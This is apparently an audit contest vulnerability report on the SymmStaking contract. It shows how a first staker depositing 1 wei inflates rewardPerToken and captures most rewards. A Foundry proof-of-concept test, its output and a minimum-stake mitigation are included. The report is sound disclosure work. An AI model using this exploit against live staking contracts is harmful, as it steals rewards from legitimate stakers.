Jovial Gauze Porpoise

High

# First staker with minimal stake amount will capture majority of rewards through reward rate inflation

### Summary

This vulnerability shares similarities with the ERC4626 inflation attack pattern. In both cases, an attacker can manipulate the protocol's economics by being the first depositor with a minimal amount (1 wei):
In ERC4626: Attacker manipulates share price by direct token transfers after minimal deposit
In this Staking Contract: Attacker manipulates rewardPerToken by staking 1 wei first
Both vulnerabilities stem from the same root cause: lack of minimum deposit/stake validation, leading to division calculations being exploited with extremely small denominators. 


### Root Cause
The choice to allow any amount of staking without minimum threshold in SymmStaking.sol is a mistake as it allows early stakers to manipulate rewardPerToken calculation through minimal stakes (1 wei), leading to disproportionate reward distribution.
[SymmStaking.sol#L194-L214](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L194-L214)

Specifically:
```solidity
// Initial Settings
Total Reward = 10000e18
Duration = 7 days = 604800 seconds
Rate = 10000e18 / 604800 = 16.53439153439153e15 per second

// 1. Attacker stakes 1 wei
Initial state:
totalSupply = 1
balanceOf[attacker] = 1
userRewardPerTokenPaid[attacker] = 0
perTokenStored = 0

// 2. After 5 days (432000 seconds), before Alice stakes
First phase rewardPerToken calculation:
rewardPerToken1 = (432000 * 16.53439153439153e15 * 1e18) / 1
= 7142857142857142857142.857142857143

Attacker's earned at this point:
earned = ((1 * (7142857142857142857142.857142857143 - 0)) / 1e18) + 0
= 7142857142857142688002  // Exactly matches POC output

// 3. After Alice stakes 1000e18
totalSupply = 1000e18 + 1
balanceOf[alice] = 1000e18
userRewardPerTokenPaid[alice] = 7142857142857142857142.857142857143
perTokenStored = 7142857142857142857142.857142857143

// 4. After another 5 days, before Bob stakes
New rewardPerToken increment:
= (432000 * 16.53439153439153e15 * 1e18) / (1000e18 + 1)
= 7142.857142857142857143

Total rewardPerToken:
= 7142857142857142857142.857142857143 + 7142.857142857142857143
= 7142857142857150000000

Alice's earned calculation:
= ((1000e18 * (7142857142857150000000 - 7142857142857142857142.857142857143)) / 1e18) + 0
= 2857142857142857075000  // Exactly matches POC output

// 5. Bob stakes 1000e18
balanceOf[bob] = 1000e18
userRewardPerTokenPaid[bob] = 7142857142857150000000

// 6. Final results matching POC output:
Attacker earned: 7142857142857142688002
Alice earned: 2857142857142857075000
Bob earned: 0
```

### Internal Pre-conditions
N/A


### External Pre-conditions
N/A



### Attack Path

1. totalSupply needs to be 0 (no previous stakers)
2. Attacker needs to be first staker with minimal amount (1 wei)
3. Victim needs to stake after attacker with significant amount (e.g., 1000e18 tokens)

### Impact

Legitimate stakers suffer significant reward losses (up to 71.43% of intended rewards for early victims), while the attacker gains these rewards by staking just 1 wei, effectively breaking the protocol's reward distribution mechanism.

### PoC

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { Symmio } from "../src/token/symm.sol";
import { SymmStaking } from "../src/staking/SymmStaking.sol";

contract MockRewardToken is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        _mint(msg.sender, 1_000_000e18);
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract SymmStakingAttack is Test {

    ERC1967Proxy    public symmStakingProxy;
    SymmStaking     public symmStaking;
    Symmio          public mockSymmioToken;
    MockRewardToken public mockRewardToken;

    address public admin;
    address public alice;
    address public bob;
    address public attacker;


    function setUp() public {
        admin   = address(1);
        alice   = address(2);
        bob     = address(3);
        attacker  = address(4);
 
        vm.label(admin, "admin");
        vm.label(alice, "alice");
        vm.label(bob, "bol");
        vm.label(attacker, "attacker");

        vm.startPrank(admin);
        mockSymmioToken = new Symmio("mock", "mock", admin);
        mockSymmioToken.grantRole(mockSymmioToken.MINTER_ROLE(), admin);
        mockSymmioToken.mint(admin, 10000e18);

        mockSymmioToken.transfer(alice, 1000e18);
        mockSymmioToken.transfer(bob, 1000e18);
        mockSymmioToken.transfer(attacker, 1000e18);
        vm.stopPrank();
        

        SymmStaking staking = new SymmStaking();
        symmStakingProxy = new ERC1967Proxy(
            address(staking),
            abi.encodeWithSelector(staking.initialize.selector, admin, address(mockSymmioToken))
        );

        vm.startPrank(admin);
        mockRewardToken = new MockRewardToken("Reward", "Reward");
        mockRewardToken.transfer(admin, 10000e18);
        
        symmStaking = SymmStaking(address(symmStakingProxy));
        symmStaking.grantRole(mockSymmioToken.MINTER_ROLE(), admin);

        mockRewardToken.approve(address(symmStaking), type(uint256).max);
        symmStaking.configureRewardToken(address(mockRewardToken), true);

        address[] memory tokens = new address[](1);
        tokens[0] = address(mockRewardToken);
        uint256[] memory rewardAmounts = new uint256[](1);
        rewardAmounts[0] = 10000e18;

        symmStaking.notifyRewardAmount(tokens, rewardAmounts);
        vm.stopPrank();
    }

    function test_attack() public {
        vm.startPrank(attacker);
        mockSymmioToken.approve(address(symmStaking), type(uint256).max);
        symmStaking.deposit(1, attacker);
        vm.stopPrank();

        vm.warp(block.timestamp + 5 days);

        vm.startPrank(alice);
        mockSymmioToken.approve(address(symmStaking), type(uint256).max);
        symmStaking.deposit(1000e18, alice);
        vm.stopPrank();

        vm.warp(block.timestamp + 5 days);

        vm.startPrank(bob);
        mockSymmioToken.approve(address(symmStaking), type(uint256).max);
        symmStaking.deposit(1000e18, bob);
        vm.stopPrank();

        vm.warp(block.timestamp + 5 days);

        uint256 aliceEarned = symmStaking.earned(alice, address(mockRewardToken));
        uint256 bobEarned = symmStaking.earned(bob, address(mockRewardToken));
        uint256 attackerEarned = symmStaking.earned(attacker, address(mockRewardToken));

        console.log("Alice earned:", aliceEarned);
        console.log("Bob earned:", bobEarned);
        console.log("Attacker earned:", attackerEarned);

        vm.startPrank(attacker);
        symmStaking.claimRewards();
        vm.stopPrank();

        assertEq(mockRewardToken.balanceOf(attacker), 7142857142857142688002);
    }
}
```

```solidity
The result:
forge test -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for test/stakingAttack.t.sol:SymmStakingAttack
[PASS] test_attack() (gas: 443279)
Logs:
  Alice earned: 2857142857142857075000
  Bob earned: 0
  Attacker earned: 7142857142857142688002

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.46ms (298.08µs CPU time)

Ran 1 test suite in 5.31ms (1.46ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

### Mitigation

Implement a minimum stake amount requirement (e.g., 10e18 tokens) to prevent reward rate manipulation from minimal stakes.